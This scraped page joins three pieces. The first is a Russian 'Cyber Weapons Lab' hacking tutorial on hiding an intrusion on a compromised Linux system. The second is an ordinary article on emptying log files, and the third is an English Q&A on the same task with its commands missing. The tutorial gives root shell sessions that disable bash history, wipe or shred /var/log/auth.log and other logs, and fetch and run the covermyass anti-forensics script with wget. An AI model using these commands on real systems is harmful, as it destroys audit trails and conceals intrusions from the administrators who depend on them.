- Заметаем следы вместе с хакерами. Чистим логи и историю Bash на взломанных Linux системах
- Шаг 1. Скомпрометируйте цель
- Шаг 2. Создайте легко удаляемый скрытый каталог
- Шаг 3. Удалите историю Bash
- Шаг4. Очистите файлы журнала
- Шаг 5. Используйте специальный инструмент для наилучшего сокрытия следов
- Заключение
- Как очистить файл журнала в Linux
- 4 способа очистить файл в Linux
- Способ 1: усечь файл с помощью команды truncate
- Способ 2: Пустой файл, используя :> или >
- Способ 3: использование команды echo для очистки файла в Linux
- Способ 4: используйте /dev/null, чтобы очистить файл
- How to clean log file? [duplicate]
- 1 Answer 1
Заметаем следы вместе с хакерами. Чистим логи и историю Bash на взломанных Linux системах
Автор: DRD_, Cyber Weapons Lab Последним этапом деятельности любого хакера является заметание следов. Киберпреступник удаляет следы своей деятельности и логи, чтобы избежать обнаружения. Данный этап особенно важен, если злоумышленник в будущем планирует снова получить доступ к целевому устройству. Для демонстрации основ заметания следов, сначала скомпрометируем цель, а затем изучим несколько методов, используемых для удаления истории Bash и очистки логов после взлома Linux систем.
Шаг 1. Скомпрометируйте цель
Первое, что нам следует сделать, — взломать цель. Используя некорректную обработку сервером команд ОС, можно применить внедрение команд, для получения оболочки. Затем нашу новую оболочку необходимо обновить до полностью интерактивной. Данная процедура значительно упростит работу. После этого мы сможем повысить наши привилегии до root, чтобы наилучшим образом использовать преимущества системы и оставаться незамеченными.
Шаг 2. Создайте легко удаляемый скрытый каталог
Получив root-доступ, мы можем создать скрытый каталог для работы и хранить в нем любые скрипты или файлы. С одной стороны, подобные манипуляции обманут лишь самого начинающего администратора, но дополнительный уровень защиты определенно не повредит. Во-первых, давайте найдем все доступные для записи каталоги с помощью следующей команды:
root@target:/# find / -perm -222 -type d 2>/dev/null /dev/shm /var/lock /var/lib/php5 /var/tmp /var/www/dav /var/www/twiki/data/Sandbox /var/www/twiki/data/Main /var/www/twiki/data/Know /var/www/twiki/data/TWiki /var/www/twiki/data/_default /var/www/twiki/data/Trash /var/www/twiki/pub/Sandbox /var/www/twiki/pub/Main /var/www/twiki/pub/Know /var/www/twiki/pub/Know/IncorrectDllVersionW32PTH10DLL /var/www/twiki/pub/TWiki /var/www/twiki/pub/TWiki/TWikiDocGraphics /var/www/twiki/pub/TWiki/TWikiTemplates /var/www/twiki/pub/TWiki/TWikiLogos /var/www/twiki/pub/TWiki/PreviewBackground /var/www/twiki/pub/TWiki/FileAttachment /var/www/twiki/pub/TWiki/WabiSabi /var/www/twiki/pub/Trash /var/www/twiki/pub/icn /tmp /tmp/.ICE-unix /tmp/.X11-unix
root@target:/# mkdir /dev/shm/.secret
root@target:/# ls -l /dev/shm/ total 0
Каталог появляется лишь тогда, когда мы используем переключатель -a для вывода списка всех файлов и каталогов:
root@target:/# ls -la /dev/shm/ total 0 drwxrwxrwt 3 root root 60 2019-06-19 13:49 . drwxr-xr-x 13 root root 13480 2019-06-19 13:41 .. drwxr-xr-x 2 root root 40 2019-06-19 13:49 .secret
root@target:/# rmdir /dev/shm/.secret/
Шаг 3. Удалите историю Bash
Bash хранит в памяти список команд, используемых в текущем сеансе, поэтому его обязательно нужно очистить, чтобы замести следы. Просмотрим текущую историю с помощью команды history:
root@target:/# history 1 cd / 2 ls 3 find / -perm -222 -type d 2>/dev/null 4 cd /dev/shm/ 5 cd / 6 mkdir /dev/shm/.secret 7 ls -l /dev/shm/ 8 ls -la /dev/shm/ 9 ls 10 rmdir /dev/shm/.secret/ 11 history
Команды записываются в переменную среды HISTFILE, обычно это .bash_history. Воспользуемся echo для определения местоположения:
root@target:/# echo $HISTFILE /root/.bash_history
root@target:/# unset HISTFILE
Чтобы история команд не сохранялась, также можно ее отправить в /dev/null. Для этого установите переменную:
root@target:/# HISTFILE=/dev/null
root@target:/# export HISTFILE=/dev/null
root@target:/# echo $HISTFILE /dev/null
Установите количество команд, которые будут сохраняться во время текущего сеанса, равным 0, используя переменную HISTSIZE:
root@target:/# export HISTSIZE=0
Измените количество строк, разрешенных в файле истории, с помощью переменной HISTFILESIZE. Установите данное значение на 0:
root@target:/# export HISTFILESIZE=0
Для изменения параметров оболочки также можно использовать команду set. Чтобы отключить опцию истории, используйте следующую команду:
Точно так же для изменения параметров оболочки можно использовать команду shopt. Чтобы отключить историю, используйте следующую команду:
root@target:/# shopt -ou history
root@target:/# shopt -os history
Во время выполнения команд на целевой системе иногда получается избежать их сохранения в истории, запустив команду с начального пробела:
Данный метод работает не всегда и зависит от системы. Также можно просто очистить историю с помощью переключателя -c :
Данные действия очистят историю только для текущего сеанса. Чтобы окончательно убедиться, что история очищается при выходе из сеанса, пригодится следующая команда:
root@target:/# cat /dev/null > ~/.bash_history && history -c && exit
Шаг4. Очистите файлы журнала
- /var/log/auth.log Аутентификация
- /var/log/cron.log Cron задачи
- / var / log / maillog Почта
- / var / log / httpd Apache
Конечно, можно просто удалить журнал с помощью команды rm :
root@target:/# rm /var/log/auth.log
Но скорее всего, данная процедура вызовет многочисленные красные флажки. Поэтому лучше сделать файл пустым, чем стирать его полностью. Используем команду truncate, чтобы уменьшить размер файла до 0:
root@target:/# truncate -s 0 /var/log/auth.log
Обратите внимание, функция усечения присутствует не всегда и не во всех системах.
То же самое можно сделать, отображая в файл “ничего”:
root@target:/# echo '' > /var/log/auth.log
А также использовать > сам по себе для очистки файла:
root@target:/# > /var/log/auth.log
Мы также можем отправить его в /dev/null:
root@target:/# cat /dev/null > /var/log/auth.log
Или использовать команду tee :
root@target:/# true | tee /var/log/auth.log
Также можно использовать команду dd, чтобы ничего не записывать в файл журнала:
root@target:/# dd if=/dev/null of=/var/log/auth.log 0+0 records in 0+0 records out 0 bytes (0 B) copied, 6.1494e-05 s, 0.0 kB/s
Команда shred может быть использована, чтобы поверх перезаписать файл с бессмысленными двоичными данными:
root@target:/# shred /var/log/auth.log
Дополнительно добавив -zu, вы обрежете файл и перезапишете его нулями:
root@target:/# shred -zu /var/log/auth.log
Шаг 5. Используйте специальный инструмент для наилучшего сокрытия следов
Для минимизации вероятности вашего обнаружения рекомендуем воспользоваться специальным скриптом. Скрипт Covermyass автоматизирует процессы, рассмотренные нами ранее, включая очистку файлов журнала и отключение истории Bash. Если на целевом устройстве имеется доступ к Интернету, можно загрузить скрипт из GitHub с помощью wget. (В противном случае скрипт придется перенести вручную):
root@target:/# wget https://raw.githubusercontent.com/sundowndev/covermyass/master/covermyass
Перейдите в каталог с возможностью записи и используйте chmod, чтобы сделать его исполняемым:
root@target:/tmp# chmod +x covermyass
root@target:/tmp# ./covermyass Welcome to Cover my ass tool ! Select an option : 1) Clear logs for user root 2) Permenently disable auth & bash history 3) Restore settings to default 99) Exit tool >
Нам предоставляется настраиваемая подсказка с несколькими вариантами на выбор. Выберем первый, чтобы очистить логи:
> 1 [+] /var/log/messages cleaned. [+] /var/log/auth.log cleaned. [+] /var/log/kern.log cleaned. [+] /var/log/wtmp cleaned. [+] ~/.bash_history cleaned. [+] History file deleted. Reminder: your need to reload the session to see effects. Type exit to do so.
Также можно отключить Bash и историю авторизации с помощью опции 2:
> 2 [+] Permanently sending /var/log/auth.log to /dev/null [+] Permanently sending bash_history to /dev/null [+] Set HISTFILESIZE & HISTSIZE to 0 [+] Disabled history library Permenently disabled bash log.
Если вам нужно срочно все очистить, просто добавьте в команду now:
root@target:/tmp# ./covermyass now [+] /var/log/messages cleaned. [+] /var/log/kern.log cleaned. [+] /var/log/wtmp cleaned. [+] ~/.bash_history cleaned. [+] History file deleted. Reminder: your need to reload the session to see effects. Type exit to do so.
Заключение
Сегодня мы изучили различные методы, используемые для заметания следов на взломанной машине. Мы рассмотрели способы отключения и удаления истории Bash, методы очистки логов и использовали инструмент Covermyass для гарантии того, что наша активность на целевом устройстве действительно была удалена.
Отмечу, что существуют и другие способы удаления следов атаки. Можно использовать Metasploit , сценарии оболочки или осуществить сокрытие следов на взломанной Windows системе. Тем не менее информации, приведенной в статье, вполне достаточно для сокрытия активности на базовом Linux компьютере.
Почему ваши данные всегда находятся в центре внимания ХАКЕРОВ?
Присоединитесь к нашему ТГ каналу и станьте невидимым для хищников цифрового мира.
Как очистить файл журнала в Linux
Добавить в избранное
В этой статье вы узнаете, как обрезать файл журнала и удалять его содержимое, не удаляя сам файл.
Вы окажетесь в ситуациях, когда вам нужно очистить файл. Это часто случается, когда у вас огромные файлы журналов, и как бы вы это сделали?
Один не очень чистый способ — удалить файл, а затем создать новый файл. Но это не очень хорошая идея. Это не будет тот же файл, временная метка (atime, mtime и т. д.). Будет отличаться вместе с другими правами доступа к файлам.
Вместо создания нового пустого файла вы можете удалить его содержимое. Итак, как вы очищаете файл в Linux? Как очистить файл от всего его содержимого без удаления самого файла?
4 способа очистить файл в Linux
Существует несколько способов очистки файла без его фактического удаления. Позвольте нам показать вам некоторые из этих методов.
Способ 1: усечь файл с помощью команды truncate
Самый безопасный способ обрезать файл журнала — использовать команду truncate.
В приведенной выше команде -s используется для установки/настройки размера (в байтах) файла. Когда вы используете -s 0, это означает, что вы изменили размер файла до 0 байт.
Способ 2: Пустой файл, используя :> или >
Самый простой способ очистить файл — использовать команду ниже. Если файл не используется, он будет работать в Bash:
Хотя вышеперечисленное работает только в Bash Shell, вы можете использовать аналогичную команду для других оболочек:
Вы также можете использовать эту команду для очистки файла:
Способ 3: использование команды echo для очистки файла в Linux
Другой способ очистить файл — использовать команду echo в Linux:
Вы также можете использовать команду echo следующим образом:
Способ 4: используйте /dev/null, чтобы очистить файл
Вы также можете использовать знаменитую /dev/null и объединить ее с командой cat для очистки файла журнала:
И если у вас недостаточно прав для какой-либо из вышеперечисленных команд, это верный выстрел, но немного грязный способ добиться этого:
touch newfile mv newfile filename
Мы надеемся, что этот быстрый совет помог вам очистить файл в Linux. Добавьте нас в закладки для получения дополнительных советов по Linux.
Если вы нашли ошибку, пожалуйста, выделите фрагмент текста и нажмите Ctrl+Enter.
How to clean log file? [duplicate]
Is there a better way to clean the log file? I usually delete the old logfile and create a new logfile and I am looking for a shorter type/bash/command program. How can I use an alias?
1 Answer 1
(fell free to substitute false or any other command that produces no output, like e.g. : does in bash ) if you want to be more eloquent, will all empty logfile (actually they will truncate it to zero size).
If you want to know how long it «takes», you may use
(which is the same as dd if=/dev/null > logfile , by the way)
(or truncate -s 0 logfile ) to be perfectly explicit or, if you don’t want to,
(in which case you are relying on the common behaviour that applications usually do recreate a logfile if it doesn’t exist already).
However, since logfiles are usually useful, you might want to compress and save a copy. While you could do that with your own script, it is a good idea to at least try using an existing working solution, in this case logrotate , which can do exactly that and is reasonably configurable.
Should you need to do it for several files, the safe way is
Some shells ( zsh ) also allow one to specify several redirection targets.
This works (at least in bash ) since it creates all the redirections required although only the last one will catch any input (or none in this case). The tee example with several files should work in any case (given your tee does know how to handle several output files)
Of course, the good old shell loop would work as well:
for f in file1 file2 . ; do # pick your favourite emptying method done
although it will be much slower due to the command being run separately for each file. That may be helped by using find :